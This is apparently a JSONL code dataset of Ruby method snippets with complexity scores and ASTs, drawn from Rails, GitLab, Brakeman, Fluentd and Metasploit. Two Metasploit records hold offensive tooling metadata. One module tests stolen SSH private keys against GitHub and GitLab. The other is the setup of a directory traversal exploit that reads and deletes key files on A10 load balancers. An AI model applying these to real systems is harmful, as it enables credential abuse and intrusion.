end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Test SSH Github Access\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module will attempt to test remote Git access using\\n\"]},{\"type\":\"str\",\"children\":[\" (.ssh/id_* private keys). This works against GitHub and\\n\"]},{\"type\":\"str\",\"children\":[\" GitLab by default, but can easily be extended to support\\n\"]},{\"type\":\"str\",\"children\":[\" more server types.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Wyatt Dahlenburg (@wdahlenb)\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://docs.github.com/en/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"KEY_FILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Filename of a private key.\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"KEY_DIR\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Directory of several keys. Filenames will be recursively found matching id_* (Ex: /home/user/.ssh)\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"GITSERVER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Parameter to specify alternate Git Server (GitHub, GitLab, etc)\"]},{\"type\":\"str\",\"children\":[\"github.com\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"RHOST\"]},{\"type\":\"str\",\"children\":[\"RHOSTS\"]},{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"str\",\"children\":[\"PASS_FILE\"]},{\"type\":\"str\",\"children\":[\"BLANK_PASSWORDS\"]},{\"type\":\"str\",\"children\":[\"USER_AS_PASS\"]},{\"type\":\"str\",\"children\":[\"USERPASS_FILE\"]},{\"type\":\"str\",\"children\":[\"DB_ALL_PASS\"]},{\"type\":\"str\",\"children\":[\"DB_ALL_CREDS\"]}]}]}]}","id":"2f5290ac-22ae-4382-a744-23489fef4063"}
+{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/cves.rb","start_line":247,"raw_source":"def test_CVE_2016_6316_rails5\n before_rescan_of [\"Gemfile.lock\", \"app/views/widget/content_tag.html.erb\"], \"rails5\" do\n replace \"Gemfile.lock\", \"rails (5.0.0)\", \"rails (5.0.0.1)\"\n end\n\n assert_version \"5.0.0.1\"\n assert_fixed 3 # 3 for CVE-2016-6316\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_CVE_2016_6316_rails5\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"before_rescan_of\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Gemfile.lock\"]},{\"type\":\"str\",\"children\":[\"app/views/widget/content_tag.html.erb\"]}]},{\"type\":\"str\",\"children\":[\"rails5\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"replace\",{\"type\":\"str\",\"children\":[\"Gemfile.lock\"]},{\"type\":\"str\",\"children\":[\"rails (5.0.0)\"]},{\"type\":\"str\",\"children\":[\"rails (5.0.0.1)\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_version\",{\"type\":\"str\",\"children\":[\"5.0.0.1\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_fixed\",{\"type\":\"int\",\"children\":[3]}]}]}]}","id":"7dceb0da-23da-4f71-a46b-3fe6bd8d3bef"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/pipeline_schedules_controller.rb","start_line":18,"raw_source":"def index\n @scope = params[:scope]\n @all_schedules = Ci::PipelineSchedulesFinder.new(@project).execute\n @schedules = Ci::PipelineSchedulesFinder.new(@project).execute(scope: params[:scope])\n end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@scope\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scope\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@all_schedules\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"PipelineSchedulesFinder\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]},\"execute\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@schedules\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"PipelineSchedulesFinder\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scope\"]}]}]}]}]}]}]}]}","id":"44de7d0f-3e85-4105-87e8-da3ba3b298f6"}
+{"repo_name":"identity_cache","file_path":"./repos/identity_cache/lib/identity_cache/cached/primary_index.rb","start_line":87,"raw_source":"def cast_id(id)\n model.type_for_attribute(model.primary_key).cast(id)\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cast_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"type_for_attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"primary_key\"]}]},\"cast\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}","id":"6e655d75-1bb0-4177-90f5-61724dee8960"}
+{"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/test_helper_test.rb","start_line":414,"raw_source":"def test_assert_enqueued_email_with_with_args\n assert_nothing_raised do\n assert_enqueued_email_with TestHelperMailer, :test_args, args: [\"some_email\", \"some_name\"] do\n silence_stream($stdout) do\n TestHelperMailer.test_args(\"some_email\", \"some_name\").deliver_later\n end\n end\n end\n end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_enqueued_email_with_with_args\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_enqueued_email_with\",{\"type\":\"const\",\"children\":[null,\"TestHelperMailer\"]},{\"type\":\"sym\",\"children\":[\"test_args\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"some_email\"]},{\"type\":\"str\",\"children\":[\"some_name\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"silence_stream\",{\"type\":\"gvar\",\"children\":[\"$stdout\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestHelperMailer\"]},\"test_args\",{\"type\":\"str\",\"children\":[\"some_email\"]},{\"type\":\"str\",\"children\":[\"some_name\"]}]},\"deliver_later\"]}]}]}]}]}","id":"1fcb0b7b-e0c8-4f68-9f7b-9c97d6a7af9c"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/incident_management/timeline_events/update_service.rb","start_line":83,"raw_source":"def was_changed(timeline_event)\n changes = timeline_event.previous_changes\n occurred_at_changed = changes.key?('occurred_at')\n note_changed = changes.key?('note')\n\n return :occurred_at_and_note if occurred_at_changed && note_changed\n return :occurred_at if occurred_at_changed\n return :note if note_changed\n\n :none\n end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"was_changed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"timeline_event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"changes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timeline_event\"]},\"previous_changes\"]}]},{\"type\":\"lvasgn\",\"children\":[\"occurred_at_changed\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changes\"]},\"key?\",{\"type\":\"str\",\"children\":[\"occurred_at\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"note_changed\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changes\"]},\"key?\",{\"type\":\"str\",\"children\":[\"note\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"occurred_at_changed\"]},{\"type\":\"lvar\",\"children\":[\"note_changed\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"occurred_at_and_note\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"occurred_at_changed\"]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"occurred_at\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note_changed\"]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"note\"]}]},null]},{\"type\":\"sym\",\"children\":[\"none\"]}]}]}","id":"152e86cd-b072-4ba0-839b-142b3e71b1d5"}
+{"repo_name":"rails","file_path":"./repos/rails/railties/test/commands/dbconsole_test.rb","start_line":107,"raw_source":"def test_rails_env_is_development_when_environment_option_is_dev\n stub_available_environments([ \"development\", \"test\" ]) do\n assert_match(\"development\", parse_arguments([ \"-e\", \"dev\" ])[:environment])\n end\n end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rails_env_is_development_when_environment_option_is_dev\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_available_environments\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"development\"]},{\"type\":\"str\",\"children\":[\"test\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"development\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_arguments\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"-e\"]},{\"type\":\"str\",\"children\":[\"dev\"]}]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"environment\"]}]}]}]}]}","id":"3b774610-3fd2-48bb-be1f-32cf79909ebb"}
+{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_log.rb","start_line":790,"raw_source":"def setup\n @log_device = Fluent::Test::DummyLogDevice.new\n @timestamp = Time.parse(\"2016-04-21 02:58:41 +0000\")\n @timestamp_str = @timestamp.strftime(\"%Y-%m-%d %H:%M:%S %z\")\n Timecop.freeze(@timestamp)\n dl_opts = {}\n dl_opts[:log_level] = ServerEngine::DaemonLogger::TRACE\n logdev = @log_device\n logger = ServerEngine::DaemonLogger.new(logdev, dl_opts)\n @logger = Fluent::Log.new(logger)\n end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@log_device\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Test\"]},\"DummyLogDevice\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2016-04-21 02:58:41 +0000\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@timestamp_str\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y-%m-%d %H:%M:%S %z\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timecop\"]},\"freeze\",{\"type\":\"ivar\",\"children\":[\"@timestamp\"]}]},{\"type\":\"lvasgn\",\"children\":[\"dl_opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dl_opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"log_level\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServerEngine\"]},\"DaemonLogger\"]},\"TRACE\"]}]},{\"type\":\"lvasgn\",\"children\":[\"logdev\",{\"type\":\"ivar\",\"children\":[\"@log_device\"]}]},{\"type\":\"lvasgn\",\"children\":[\"logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServerEngine\"]},\"DaemonLogger\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"logdev\"]},{\"type\":\"lvar\",\"children\":[\"dl_opts\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Log\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"logger\"]}]}]}]}]}","id":"27eba17c-5950-411a-9520-0abc9ec58978"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/system_notes/issuables_service.rb","start_line":159,"raw_source":"def change_issuable_contacts(added_count, removed_count)\n text_parts = []\n\n Gitlab::I18n.with_default_locale do\n text_parts << \"added #{added_count} #{'contact'.pluralize(added_count)}\" if added_count > 0\n text_parts << \"removed #{removed_count} #{'contact'.pluralize(removed_count)}\" if removed_count > 0\n end\n\n return if text_parts.empty?\n\n body = text_parts.join(' and ')\n create_note(NoteSummary.new(noteable, project, author, body, action: 'contact'))\n end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"change_issuable_contacts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"added_count\"]},{\"type\":\"arg\",\"children\":[\"removed_count\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text_parts\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"I18n\"]},\"with_default_locale\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"added_count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text_parts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"added \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"added_count\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"contact\"]},\"pluralize\",{\"type\":\"lvar\",\"children\":[\"added_count\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"removed_count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text_parts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"removed \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"removed_count\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"contact\"]},\"pluralize\",{\"type\":\"lvar\",\"children\":[\"removed_count\"]}]}]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text_parts\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text_parts\"]},\"join\",{\"type\":\"str\",\"children\":[\" and \"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_note\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NoteSummary\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"noteable\"]},{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"author\"]},{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"contact\"]}]}]}]}]}]}]}","id":"77e91a05-bd67-45ae-8f35-16d119fa3951"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'A10 Networks AX Loadbalancer Directory Traversal',\n 'Description' => %q{\n This module exploits a directory traversal flaw found in A10 Networks\n (Soft) AX Loadbalancer version 2.6.1-GR1-P5/2.7.0 or less. When\n handling a file download request, the xml/downloads class fails to\n properly check the 'filename' parameter, which can be abused to read\n any file outside the virtual directory. Important files include SSL\n certificates. This module works on both the hardware devices and the\n Virtual Machine appliances. IMPORTANT NOTE: This module will also delete the\n file on the device after downloading it. Because of this, the CONFIRM_DELETE\n option must be set to 'true' either manually or by script.\n },\n 'References' => [\n ['CVE', '2014-125125'],\n ['OSVDB', '102657'],\n ['BID', '65206'],\n ['EDB', '31261']\n ],\n 'Author' => [\n 'xistence' # Vulnerability discovery and Metasploit module\n ],\n 'License' => MSF_LICENSE,\n 'DisclosureDate' => '2014-01-28',\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']),\n OptString.new('FILE', [true, 'The file to obtain', '/a10data/key/mydomain.tld']),\n OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]),\n OptBool.new('CONFIRM_DELETE', [true, 'Run the module, even when it will delete files', false]),\n ]\n )\n end","complexity_score":9.15,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"A10 Networks AX Loadbalancer Directory Traversal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a directory traversal flaw found in A10 Networks\\n\"]},{\"type\":\"str\",\"children\":[\" (Soft) AX Loadbalancer version 2.6.1-GR1-P5/2.7.0 or less. When\\n\"]},{\"type\":\"str\",\"children\":[\" handling a file download request, the xml/downloads class fails to\\n\"]},{\"type\":\"str\",\"children\":[\" properly check the 'filename' parameter, which can be abused to read\\n\"]},{\"type\":\"str\",\"children\":[\" any file outside the virtual directory. Important files include SSL\\n\"]},{\"type\":\"str\",\"children\":[\" certificates. This module works on both the hardware devices and the\\n\"]},{\"type\":\"str\",\"children\":[\" Virtual Machine appliances. IMPORTANT NOTE: This module will also delete the\\n\"]},{\"type\":\"str\",\"children\":[\" file on the device after downloading it. Because of this, the CONFIRM_DELETE\\n\"]},{\"type\":\"str\",\"children\":[\" option must be set to 'true' either manually or by script.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-125125\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"102657\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"65206\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"31261\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"xistence\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-01-28\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI path to the web application\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file to obtain\"]},{\"type\":\"str\",\"children\":[\"/a10data/key/mydomain.tld\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"DEPTH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The max traversal depth to root directory\"]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"CONFIRM_DELETE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Run the module, even when it will delete files\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"84c4a09f-a458-4e11-9eab-20d9db44a8c8"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/configured_system.rb","start_line":83,"raw_source":"def counterparts\n return [] unless counterpart\n\n [counterpart] + counterpart.counterparts.where.not(:id => id)\n end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"counterparts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"counterpart\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"counterpart\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"counterpart\"]},\"counterparts\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}]}]}]}","id":"a303d315-c5a0-4feb-aaea-7c974ef3a536"}
+{"repo_name":"rails","file_path":"./repos/rails/activestorage/app/controllers/active_storage/disk_controller.rb","start_line":54,"raw_source":"def acceptable_content?(token)\n token[:content_type] == request.content_mime_type && token[:content_length] == request.content_length\n end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"acceptable_content?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"content_type\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"content_mime_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"content_length\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"content_length\"]}]}]}]}","id":"348dd6ce-de3f-4499-bd71-7c850772c4ca"}
